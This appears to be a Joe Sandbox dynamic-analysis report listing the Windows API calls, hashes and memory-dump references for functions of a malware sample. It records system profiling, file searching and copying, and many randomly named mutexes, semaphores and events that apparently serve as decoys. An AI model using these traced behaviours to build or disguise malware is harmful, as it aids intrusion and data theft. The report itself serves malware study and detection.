LocalAlloc.KERNEL32(00000040,00002000,00000000,00000001,00000000), ref: 0040DEE0
LocalAlloc.KERNEL32(00000040,00000200), ref: 0040DF15
wsprintfW.USER32 ref: 0040DF2D
lstrlenW.KERNEL32 ref: 0040DF3E
wsprintfW.USER32 ref: 0040DF53

Part of subcall function 0040FC69: lstrlenW.KERNEL32(00000000,00000000,?,00000000), ref: 0040FC80
Part of subcall function 0040FC69: lstrlenW.KERNEL32 ref: 0040FC89
Part of subcall function 0040FC69: LocalAlloc.KERNEL32(00000040,-00000080), ref: 0040FC9D
Part of subcall function 0040FC69: CreateMutexA.KERNEL32(00000000,00000000,MTXv7nh0o7s,00000000), ref: 0040FCB9
Part of subcall function 0040FC69: SetEnvironmentVariableA.KERNEL32(00pbq394,c3gschjc), ref: 0040FCD5
Part of subcall function 0040FC69: ReleaseMutex.KERNEL32(00000000), ref: 0040FCD8
Part of subcall function 0040FC69: LocalAlloc.KERNEL32(00000000,00000368), ref: 0040FCE4
Part of subcall function 0040FC69: RegOpenKeyExA.KERNELBASE(80000001,reg9ogvr0xq,00000000,00020019,?), ref: 0040FD06
Part of subcall function 0040FC69: LocalFree.KERNEL32(00000000), ref: 0040FD09
Part of subcall function 0040FC69: CreateFileMappingW.KERNELBASE(000000FF,00000000,00000004,00000000,0000080C,00000000), ref: 0040FD1D
Part of subcall function 0040FC69: RegOpenKeyExA.KERNEL32(80000001,reg7zkajz1y,00000000,00020019,?), ref: 0040FD3A
Part of subcall function 0040FC69: FindCloseChangeNotification.KERNEL32(00000000), ref: 0040FD3D
Part of subcall function 0040FC69: CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,SMPHR_9w00jqb8), ref: 0040FD54
Part of subcall function 0040FC69: ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040FD5A
Part of subcall function 0040FC69: SetEnvironmentVariableA.KERNEL32(87j5ox0s,7l8u4u8m), ref: 0040FD6E
Part of subcall function 0040FC69: SetEnvironmentVariableA.KERNEL32(q04pfiaa,kptwv1ur), ref: 0040FD7A
Part of subcall function 0040FC69: CreateEventA.KERNEL32(00000000,00000001,00000000,ev_u5fjxky5), ref: 0040FD85
Part of subcall function 0040FC69: SetEvent.KERNEL32(00000000), ref: 0040FD8E

LocalFree.KERNEL32(?), ref: 0040DF72
LocalFree.KERNEL32(00000000), ref: 0040DF94

Memory Dump Source

Source File: 00000000.00000002.3418263873.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3418192710.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418304827.0000000000412000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418374462.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Local$AllocCreate$EnvironmentFreeVariablelstrlen$EventMutexOpenReleaseSemaphorewsprintf$ChangeCloseFileFindMappingNotification
String ID:
API String ID: 2577418286-0
Opcode ID: e6b6b1c2ec47ce50dd5ec5dba347bcc937a09cda36dcaa9499da8ffaa5fa1229
Instruction ID: cf5eace22de33f63a184ca01494680ffb6cbeb4dae295a5448608ef817f62423
Opcode Fuzzy Hash: e6b6b1c2ec47ce50dd5ec5dba347bcc937a09cda36dcaa9499da8ffaa5fa1229
Instruction Fuzzy Hash: EA21A2B1508205AFE7059B64EC89EFB7FBDEB08345F008079F906E71A1E6745D448A78

Function 00405232 Relevance: 9.1, APIs: 6, Instructions: 58memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000228,76229350,76232F20,75B4EC10,?,?,?,00409E20,00000000), ref: 00405246
LocalAlloc.KERNEL32(00000040,00000228,?,00409E20,00000000), ref: 00405252
SHGetSpecialFolderPathW.SHELL32(00000000,?,0000001C,00000000,?,00409E20,00000000), ref: 00405263
SHGetSpecialFolderPathW.SHELL32(00000000,00000000,0000001A,00000000,?,00409E20,00000000), ref: 00405270

Part of subcall function 004028BE: FindFirstFileW.KERNEL32(?,?,?,?,?,?,?,00000000), ref: 00402911

Part of subcall function 00402737: FindFirstFileW.KERNEL32(?,?,00000000,00000000,00000000,?,?,00000000), ref: 0040278A

LocalFree.KERNEL32(?), ref: 004052A1
LocalFree.KERNEL32(00000000), ref: 004052AC

Memory Dump Source

Source File: 00000000.00000002.3418263873.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3418192710.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418304827.0000000000412000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418374462.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Local$AllocFileFindFirstFolderFreePathSpecial
String ID:
API String ID: 1820566805-0
Opcode ID: 9c9536671aa72aa54628ba1b3bc373e89b2561ff36c26f4ed36d1456adb2821c
Instruction ID: 27b2b0e6be99949f4122f89bb31d04a78a0c895db6b1371c4ce563981e0189d3
Opcode Fuzzy Hash: 9c9536671aa72aa54628ba1b3bc373e89b2561ff36c26f4ed36d1456adb2821c
Instruction Fuzzy Hash: A1014C71745304BFF7105BA1DC8AFAB3E7CDB49755F108079BA05AA2C1DAB89D008AA8

Function 0040EEDA Relevance: 9.1, APIs: 6, Instructions: 57stringmemoryCOMMON

Download Yara Rule

APIs

StrStrW.SHLWAPI(00000000,0062DF58,00000000,00000000,00000000,?,00402B14,?,00402D08,?,?,00402D08,?,?,?,00000000), ref: 0040EEE6
lstrlenW.KERNEL32(00000000,?,00402B14,?,00402D08,?,?,00402D08,?,?,?,00000000), ref: 0040EEF3
LocalAlloc.KERNEL32(00000040,00000000,?,00402B14,?,00402D08,?,?,00402D08,?,?,?,00000000), ref: 0040EEFE
lstrlenW.KERNEL32(0062DF58,?,00402B14,?,00402D08,?,?,00402D08,?,?,?,00000000), ref: 0040EF07
StrCpyW.SHLWAPI(00402B14,00000000), ref: 0040EF41
LocalFree.KERNELBASE(00000000,?,00402B14,?,00402D08,?,?,00402D08,?,?,?,00000000), ref: 0040EF4A

Memory Dump Source

Source File: 00000000.00000002.3418263873.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3418192710.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418304827.0000000000412000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418374462.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Locallstrlen$AllocFree
String ID:
API String ID: 1900397994-0
Opcode ID: c119fe25b923c9d20ab35c842ac51f0bc66dd88b39d2269ee9c04750c5d86056
Instruction ID: 1f805a32c53f9556232c052b34c2e79468196f3b52c17f0c82676dbc1366b5a8
Opcode Fuzzy Hash: c119fe25b923c9d20ab35c842ac51f0bc66dd88b39d2269ee9c04750c5d86056
Instruction Fuzzy Hash: AC019632204212BFD7106FBADC48AB7BBFCEF89711754443AF649D7261EA7498118768

Function 0040DCA6 Relevance: 7.5, APIs: 5, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

GetSystemWow64DirectoryW.KERNEL32(00000000,00000000,00000000,00000001,?,?,0040E462,?,?,?,?), ref: 0040DCB3
GetLastError.KERNEL32(?,?,0040E462,?,?,?,?), ref: 0040DCBD
LocalAlloc.KERNEL32(00000040,00000400,?,?,0040E462,?,?,?,?), ref: 0040DCD2
wsprintfW.USER32 ref: 0040DCE8
LocalFree.KERNEL32(00000000,?,?,?), ref: 0040DD00

Memory Dump Source

Source File: 00000000.00000002.3418263873.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3418192710.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418304827.0000000000412000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418374462.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Local$AllocDirectoryErrorFreeLastSystemWow64wsprintf
String ID:
API String ID: 2566887757-0
Opcode ID: 4cf62e210f49c205c5cf58ce6cf5563faf4bc839292c9d0209f09f8d32a089bb
Instruction ID: 8cf68d7aaefefc6e20a1db30b17f81e184818d07b2f8eb459b01f1cd35db2431
Opcode Fuzzy Hash: 4cf62e210f49c205c5cf58ce6cf5563faf4bc839292c9d0209f09f8d32a089bb
Instruction Fuzzy Hash: ECF0F631208310AFE3105B71EC0FB5BBFB9EB84750F11843AFA42D7290EA719801C6AC

Function 0040DC50 Relevance: 7.5, APIs: 5, Instructions: 33memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000400,00000000,00000001,?,?,0040E47D,?,?,?,?,?,?,?), ref: 0040DC5D
GetSystemMetrics.USER32(00000001), ref: 0040DC67
GetSystemMetrics.USER32(00000000), ref: 0040DC70
wsprintfW.USER32 ref: 0040DC7E

Part of subcall function 0040FC69: lstrlenW.KERNEL32(00000000,00000000,?,00000000), ref: 0040FC80
Part of subcall function 0040FC69: lstrlenW.KERNEL32 ref: 0040FC89
Part of subcall function 0040FC69: LocalAlloc.KERNEL32(00000040,-00000080), ref: 0040FC9D
Part of subcall function 0040FC69: CreateMutexA.KERNEL32(00000000,00000000,MTXv7nh0o7s,00000000), ref: 0040FCB9
Part of subcall function 0040FC69: SetEnvironmentVariableA.KERNEL32(00pbq394,c3gschjc), ref: 0040FCD5
Part of subcall function 0040FC69: ReleaseMutex.KERNEL32(00000000), ref: 0040FCD8
Part of subcall function 0040FC69: LocalAlloc.KERNEL32(00000000,00000368), ref: 0040FCE4
Part of subcall function 0040FC69: RegOpenKeyExA.KERNELBASE(80000001,reg9ogvr0xq,00000000,00020019,?), ref: 0040FD06
Part of subcall function 0040FC69: LocalFree.KERNEL32(00000000), ref: 0040FD09
Part of subcall function 0040FC69: CreateFileMappingW.KERNELBASE(000000FF,00000000,00000004,00000000,0000080C,00000000), ref: 0040FD1D
Part of subcall function 0040FC69: RegOpenKeyExA.KERNEL32(80000001,reg7zkajz1y,00000000,00020019,?), ref: 0040FD3A
Part of subcall function 0040FC69: FindCloseChangeNotification.KERNEL32(00000000), ref: 0040FD3D
Part of subcall function 0040FC69: CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,SMPHR_9w00jqb8), ref: 0040FD54
Part of subcall function 0040FC69: ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040FD5A
Part of subcall function 0040FC69: SetEnvironmentVariableA.KERNEL32(87j5ox0s,7l8u4u8m), ref: 0040FD6E
Part of subcall function 0040FC69: SetEnvironmentVariableA.KERNEL32(q04pfiaa,kptwv1ur), ref: 0040FD7A
Part of subcall function 0040FC69: CreateEventA.KERNEL32(00000000,00000001,00000000,ev_u5fjxky5), ref: 0040FD85
Part of subcall function 0040FC69: SetEvent.KERNEL32(00000000), ref: 0040FD8E

LocalFree.KERNEL32(00000000,?,?,?,?), ref: 0040DC96

Memory Dump Source

Source File: 00000000.00000002.3418263873.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3418192710.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418304827.0000000000412000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418374462.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Local$Create$AllocEnvironmentVariable$EventFreeMetricsMutexOpenReleaseSemaphoreSystemlstrlen$ChangeCloseFileFindMappingNotificationwsprintf
String ID:
API String ID: 3340106436-0
Opcode ID: 5a3c364408ec67c70bef60188e88c16bc365492b34ff0e5796b5de553aa77f1f
Instruction ID: 7b519105c432c97d5d9633408b2598135d3e9ebcef0b304f85932880cdb7485d
Opcode Fuzzy Hash: 5a3c364408ec67c70bef60188e88c16bc365492b34ff0e5796b5de553aa77f1f
Instruction Fuzzy Hash: 03F01272248304ABE3005BF5EC0EFABBFB8EB49751F148439FB4596191D97554118768

Function 0040DE61 Relevance: 6.0, APIs: 4, Instructions: 42memoryCOMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(?,00000000,00000001,?,?,?,?,?,?,?,?,?,?,0040E474,?,?), ref: 0040DE73
LocalAlloc.KERNEL32(00000040,00000400,?,?,?,?,?,?,?,?,?,?,0040E474,?,?,?), ref: 0040DE88
wsprintfW.USER32 ref: 0040DEA6
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0040E474), ref: 0040DEBE

Memory Dump Source

Source File: 00000000.00000002.3418263873.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3418192710.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418304827.0000000000412000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418374462.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Local$AllocFreeGlobalMemoryStatuswsprintf
String ID:
API String ID: 1040575938-0
Opcode ID: e31e8e06af425eb6938142e49e495ab392bca2e2a9ef86ca300be9efd8111650
Instruction ID: 6ee3fcdb37f2754472cc7f7cc393dbbd1d9622bd9b07d5ae292c043f7190097f
Opcode Fuzzy Hash: e31e8e06af425eb6938142e49e495ab392bca2e2a9ef86ca300be9efd8111650
Instruction Fuzzy Hash: A8F0A975A04204ABD7109F65DC099AFBFBCEF84754F108139FA56E7290D6749501C6E8

Function 0040D40E Relevance: 2.6, APIs: 2, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,0000020A), ref: 0040D483
LocalFree.KERNEL32(00000000), ref: 0040D4AB

Memory Dump Source

Source File: 00000000.00000002.3418263873.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3418192710.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418304827.0000000000412000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418374462.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Local$AllocFree
String ID:
API String ID: 2012307162-0
Opcode ID: 8d49c36f7e93697ff755319701f23dc414b1e8e23e45ad97f9b9fffa9d7c2da7
Instruction ID: 00617472ad56b0592892951cfbed85dde51ae5246b31ba9b3f8def5474c209bd
Opcode Fuzzy Hash: 8d49c36f7e93697ff755319701f23dc414b1e8e23e45ad97f9b9fffa9d7c2da7
Instruction Fuzzy Hash: 49218370B00214EBC710DFA5CC48E9BBFB9EF89714B2041A9F509EB291DA74AD45CB99

Function 0040C0A5 Relevance: 1.3, APIs: 1, Instructions: 18memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,0000FF78,00000000,00409338), ref: 0040C0AF

Part of subcall function 0040FC69: lstrlenW.KERNEL32(00000000,00000000,?,00000000), ref: 0040FC80
Part of subcall function 0040FC69: lstrlenW.KERNEL32 ref: 0040FC89
Part of subcall function 0040FC69: LocalAlloc.KERNEL32(00000040,-00000080), ref: 0040FC9D
Part of subcall function 0040FC69: CreateMutexA.KERNEL32(00000000,00000000,MTXv7nh0o7s,00000000), ref: 0040FCB9
Part of subcall function 0040FC69: SetEnvironmentVariableA.KERNEL32(00pbq394,c3gschjc), ref: 0040FCD5
Part of subcall function 0040FC69: ReleaseMutex.KERNEL32(00000000), ref: 0040FCD8
Part of subcall function 0040FC69: LocalAlloc.KERNEL32(00000000,00000368), ref: 0040FCE4
Part of subcall function 0040FC69: RegOpenKeyExA.KERNELBASE(80000001,reg9ogvr0xq,00000000,00020019,?), ref: 0040FD06
Part of subcall function 0040FC69: LocalFree.KERNEL32(00000000), ref: 0040FD09
Part of subcall function 0040FC69: CreateFileMappingW.KERNELBASE(000000FF,00000000,00000004,00000000,0000080C,00000000), ref: 0040FD1D
Part of subcall function 0040FC69: RegOpenKeyExA.KERNEL32(80000001,reg7zkajz1y,00000000,00020019,?), ref: 0040FD3A
Part of subcall function 0040FC69: FindCloseChangeNotification.KERNEL32(00000000), ref: 0040FD3D
Part of subcall function 0040FC69: CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,SMPHR_9w00jqb8), ref: 0040FD54
Part of subcall function 0040FC69: ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040FD5A
Part of subcall function 0040FC69: SetEnvironmentVariableA.KERNEL32(87j5ox0s,7l8u4u8m), ref: 0040FD6E
Part of subcall function 0040FC69: SetEnvironmentVariableA.KERNEL32(q04pfiaa,kptwv1ur), ref: 0040FD7A
Part of subcall function 0040FC69: CreateEventA.KERNEL32(00000000,00000001,00000000,ev_u5fjxky5), ref: 0040FD85
Part of subcall function 0040FC69: SetEvent.KERNEL32(00000000), ref: 0040FD8E

Part of subcall function 0040FC69: ResetEvent.KERNEL32(00000000), ref: 0040FD9B
Part of subcall function 0040FC69: CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,XMLaf6ijeup), ref: 0040FDA8
Part of subcall function 0040FC69: ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040FDAE
Part of subcall function 0040FC69: CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_ezfcnhiz), ref: 0040FDC2
Part of subcall function 0040FC69: OutputDebugStringA.KERNEL32(log: 1q5wdw2w), ref: 0040FDC9
Part of subcall function 0040FC69: LocalAlloc.KERNEL32(00000000,00000D5B,?), ref: 0040FDE3
Part of subcall function 0040FC69: GetLastError.KERNEL32 ref: 0040FDEB
Part of subcall function 0040FC69: LocalFree.KERNELBASE(00000000), ref: 0040FDF2
Part of subcall function 0040FC69: SetEnvironmentVariableA.KERNEL32(v19r9fkt,32cl1w9n), ref: 0040FE02
Part of subcall function 0040FC69: CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_duo9zfet), ref: 0040FE11
Part of subcall function 0040FC69: RegOpenKeyExA.KERNELBASE(80000001,regbsc0gy31,00000000,00020019,?), ref: 0040FE2A
Part of subcall function 0040FC69: CancelWaitableTimer.KERNEL32(00000000), ref: 0040FE31
Part of subcall function 0040FC69: SetEnvironmentVariableA.KERNEL32(5xc4rfm6,1w9a7ezv), ref: 0040FE47
Part of subcall function 0040FC69: CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,XML0c4o0o20), ref: 0040FE54
Part of subcall function 0040FC69: ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040FE5E
Part of subcall function 0040FC69: CreateEventA.KERNEL32(00000000,00000001,00000000,ev_5lfr0i9u), ref: 0040FE6D
Part of subcall function 0040FC69: SetEvent.KERNEL32(00000000), ref: 0040FE76
Part of subcall function 0040FC69: ResetEvent.KERNEL32(00000000), ref: 0040FE7D
Part of subcall function 0040FC69: FindFirstFileA.KERNEL32(s_5v4dwb9r,?), ref: 0040FE8B
Part of subcall function 0040FC69: FindClose.KERNEL32(00000000), ref: 0040FE92
Part of subcall function 0040FC69: CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,SMPHR_pmn3yhef), ref: 0040FEA3
Part of subcall function 0040FC69: ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040FEAD
Part of subcall function 0040FC69: OutputDebugStringA.KERNEL32(log: zqaxjx1i), ref: 0040FEBC
Part of subcall function 0040FC69: CreateMutexA.KERNEL32(00000000,00000000,MTXg35mzup0), ref: 0040FEC9
Part of subcall function 0040FC69: GetLastError.KERNEL32 ref: 0040FED5

Part of subcall function 0040FC69: ReleaseMutex.KERNEL32(00000000), ref: 0040FEDC
Part of subcall function 0040FC69: SetEnvironmentVariableA.KERNEL32(uvfb6x9g,iyeph0nr), ref: 0040FEEC
Part of subcall function 0040FC69: GlobalFree.KERNELBASE(0040C0BE), ref: 0040FEF1

Memory Dump Source

Source File: 00000000.00000002.3418263873.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3418192710.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418304827.0000000000412000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418374462.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Create$Semaphore$EnvironmentEventLocalReleaseVariable$AllocMutex$FindFreeOpenTimerWaitable$CloseDebugErrorFileLastOutputResetStringlstrlen$CancelChangeFirstGlobalMappingNotification
String ID:
API String ID: 1932151821-0
Opcode ID: 5c30af23fb4573f065c3a64d006a32203af064e9fc65c2ac75b9e895fe04d99c
Instruction ID: 9e304803afad4d374514588732b447f3d4d423e568ab56d7c0cd3d6f57696045
Opcode Fuzzy Hash: 5c30af23fb4573f065c3a64d006a32203af064e9fc65c2ac75b9e895fe04d99c
Instruction Fuzzy Hash: 84E0E63474C304C7DA25A771AC9E4EA6762A788700B10C53B5D0157BD5D9799C06468C

Non-executed Functions

Function 004049C1 Relevance: 56.2, APIs: 31, Strings: 1, Instructions: 211memoryfilestringCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000208,00000002,00000000,00000002), ref: 004049DC

Part of subcall function 0040FC69: lstrlenW.KERNEL32(00000000,00000000,?,00000000), ref: 0040FC80
Part of subcall function 0040FC69: lstrlenW.KERNEL32 ref: 0040FC89
Part of subcall function 0040FC69: LocalAlloc.KERNEL32(00000040,-00000080), ref: 0040FC9D
Part of subcall function 0040FC69: CreateMutexA.KERNEL32(00000000,00000000,MTXv7nh0o7s,00000000), ref: 0040FCB9
Part of subcall function 0040FC69: SetEnvironmentVariableA.KERNEL32(00pbq394,c3gschjc), ref: 0040FCD5
Part of subcall function 0040FC69: ReleaseMutex.KERNEL32(00000000), ref: 0040FCD8
Part of subcall function 0040FC69: LocalAlloc.KERNEL32(00000000,00000368), ref: 0040FCE4
Part of subcall function 0040FC69: RegOpenKeyExA.KERNELBASE(80000001,reg9ogvr0xq,00000000,00020019,?), ref: 0040FD06
Part of subcall function 0040FC69: LocalFree.KERNEL32(00000000), ref: 0040FD09
Part of subcall function 0040FC69: CreateFileMappingW.KERNELBASE(000000FF,00000000,00000004,00000000,0000080C,00000000), ref: 0040FD1D
Part of subcall function 0040FC69: RegOpenKeyExA.KERNEL32(80000001,reg7zkajz1y,00000000,00020019,?), ref: 0040FD3A
Part of subcall function 0040FC69: FindCloseChangeNotification.KERNEL32(00000000), ref: 0040FD3D
Part of subcall function 0040FC69: CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,SMPHR_9w00jqb8), ref: 0040FD54
Part of subcall function 0040FC69: ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040FD5A
Part of subcall function 0040FC69: SetEnvironmentVariableA.KERNEL32(87j5ox0s,7l8u4u8m), ref: 0040FD6E
Part of subcall function 0040FC69: SetEnvironmentVariableA.KERNEL32(q04pfiaa,kptwv1ur), ref: 0040FD7A
Part of subcall function 0040FC69: CreateEventA.KERNEL32(00000000,00000001,00000000,ev_u5fjxky5), ref: 0040FD85
Part of subcall function 0040FC69: SetEvent.KERNEL32(00000000), ref: 0040FD8E

Part of subcall function 0040FC69: ResetEvent.KERNEL32(00000000), ref: 0040FD9B
Part of subcall function 0040FC69: CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,XMLaf6ijeup), ref: 0040FDA8
Part of subcall function 0040FC69: ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040FDAE
Part of subcall function 0040FC69: CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_ezfcnhiz), ref: 0040FDC2
Part of subcall function 0040FC69: OutputDebugStringA.KERNEL32(log: 1q5wdw2w), ref: 0040FDC9
Part of subcall function 0040FC69: LocalAlloc.KERNEL32(00000000,00000D5B,?), ref: 0040FDE3
Part of subcall function 0040FC69: GetLastError.KERNEL32 ref: 0040FDEB
Part of subcall function 0040FC69: LocalFree.KERNELBASE(00000000), ref: 0040FDF2
Part of subcall function 0040FC69: SetEnvironmentVariableA.KERNEL32(v19r9fkt,32cl1w9n), ref: 0040FE02
Part of subcall function 0040FC69: CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_duo9zfet), ref: 0040FE11
Part of subcall function 0040FC69: RegOpenKeyExA.KERNELBASE(80000001,regbsc0gy31,00000000,00020019,?), ref: 0040FE2A
Part of subcall function 0040FC69: CancelWaitableTimer.KERNEL32(00000000), ref: 0040FE31
Part of subcall function 0040FC69: SetEnvironmentVariableA.KERNEL32(5xc4rfm6,1w9a7ezv), ref: 0040FE47
Part of subcall function 0040FC69: CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,XML0c4o0o20), ref: 0040FE54
Part of subcall function 0040FC69: ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040FE5E
Part of subcall function 0040FC69: CreateEventA.KERNEL32(00000000,00000001,00000000,ev_5lfr0i9u), ref: 0040FE6D
Part of subcall function 0040FC69: SetEvent.KERNEL32(00000000), ref: 0040FE76
Part of subcall function 0040FC69: ResetEvent.KERNEL32(00000000), ref: 0040FE7D
Part of subcall function 0040FC69: FindFirstFileA.KERNEL32(s_5v4dwb9r,?), ref: 0040FE8B
Part of subcall function 0040FC69: FindClose.KERNEL32(00000000), ref: 0040FE92
Part of subcall function 0040FC69: CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,SMPHR_pmn3yhef), ref: 0040FEA3
Part of subcall function 0040FC69: ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040FEAD
Part of subcall function 0040FC69: OutputDebugStringA.KERNEL32(log: zqaxjx1i), ref: 0040FEBC
Part of subcall function 0040FC69: CreateMutexA.KERNEL32(00000000,00000000,MTXg35mzup0), ref: 0040FEC9
Part of subcall function 0040FC69: GetLastError.KERNEL32 ref: 0040FED5

FindFirstFileW.KERNEL32(00000000,?), ref: 00404A05
lstrcmpW.KERNEL32(?), ref: 00404A35
LocalAlloc.KERNEL32(00000040,00000208), ref: 00404A4B
PathCombineW.SHLWAPI(00000000,00000000,?), ref: 00404A5A
LocalAlloc.KERNEL32(00000040,00000208), ref: 00404A68

Part of subcall function 0041046B: CreateFileMappingW.KERNELBASE(000000FF,00000000,00000004,00000000,000012F3,00000000,00000000,?,0000020A), ref: 00410488
Part of subcall function 0041046B: CloseHandle.KERNEL32(00000000), ref: 0041048F
Part of subcall function 0041046B: SetEnvironmentVariableA.KERNEL32(6dgac4un,g41v9360), ref: 0041049F
Part of subcall function 0041046B: CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_vszfrk1v), ref: 004104AD
Part of subcall function 0041046B: GetLastError.KERNEL32 ref: 004104B5
Part of subcall function 0041046B: CancelWaitableTimer.KERNEL32(00000000), ref: 004104C0
Part of subcall function 0041046B: LocalAlloc.KERNEL32(00000000,000002F7), ref: 004104CC
Part of subcall function 0041046B: RegOpenKeyExA.ADVAPI32(80000001,reg6l0e1w30,00000000,00020019,?), ref: 004104EE
Part of subcall function 0041046B: LocalFree.KERNEL32(00000000), ref: 004104F1
Part of subcall function 0041046B: CreateEventA.KERNEL32(00000000,00000001,00000000,ev_88c4qzrn), ref: 00410500
Part of subcall function 0041046B: SetEvent.KERNEL32(00000000), ref: 00410509
Part of subcall function 0041046B: ResetEvent.KERNEL32(00000000), ref: 00410510
Part of subcall function 0041046B: FindFirstFileA.KERNEL32(s_tdhyddm1,?), ref: 00410522
Part of subcall function 0041046B: FindClose.KERNEL32(00000000), ref: 00410529
Part of subcall function 0041046B: CreateMutexA.KERNEL32(00000000,00000000,MTX20fugzrs), ref: 0041053C
Part of subcall function 0041046B: ReleaseMutex.KERNEL32(00000000), ref: 00410549
Part of subcall function 0041046B: LocalAlloc.KERNEL32(00000040,00000208), ref: 0041056B
Part of subcall function 0041046B: CreateMutexA.KERNEL32(00000000,00000000,MTX3jgp3d9d), ref: 0041057D
Part of subcall function 0041046B: ReleaseMutex.KERNEL32(00000000), ref: 0041058A
Part of subcall function 0041046B: OutputDebugStringA.KERNEL32(log: xkhuruup), ref: 00410591
Part of subcall function 0041046B: CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,XML0tlu090e), ref: 004105A6
Part of subcall function 0041046B: ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 004105B0

CopyFileW.KERNEL32(00000000,?,00000000), ref: 00404A87
CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000004,00000000,00000000), ref: 00404AA2
GetFileSize.KERNEL32(00000000,00000000), ref: 00404AAD
LocalAlloc.KERNEL32(00000040,00000208), ref: 00404ABA
StrCpyW.SHLWAPI(00000000), ref: 00404AC7

